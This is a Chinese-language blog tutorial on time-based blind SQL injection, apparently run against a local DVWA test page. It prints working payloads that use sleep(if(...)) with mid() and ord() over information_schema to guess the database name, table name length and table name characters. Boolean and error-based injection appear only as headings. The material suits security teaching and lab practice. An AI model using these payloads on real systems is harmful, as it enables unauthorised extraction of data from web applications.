值得一看
正规流量卡

渗透之路基础 — SQL注入

------正文内容展示,开始汲取新知识啦------

length 长度

  • 应用
http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))

若没猜对数据库名,则会延迟

  • –基于时间的延迟注入(下)

猜表名:

  • length 长度
http://192.168.207.128/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)),5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 # limit 分页
  • mid(str,1,1) 截取
# 表全名称为 users # mid(str,1,1) 从第一位开始截取一个字符 select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1;
  • ord 编码(ascii)
# 结合mid截取出的字符 以ASCII码输出 # 表名 users select ord(mid(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1;
  • 综合应用
# 用字符验证 union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from information_schema.tables where table_schema=database() limit 0,1

# 用ASCII验证 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema=database() limit 0,1

猜列名类似

  • –基于布尔逻辑注入

基于报错提示注入

参考文章https://websec.ca/kb/sql_injection

1 2 3 4 5 6 7 8 9

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞538赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容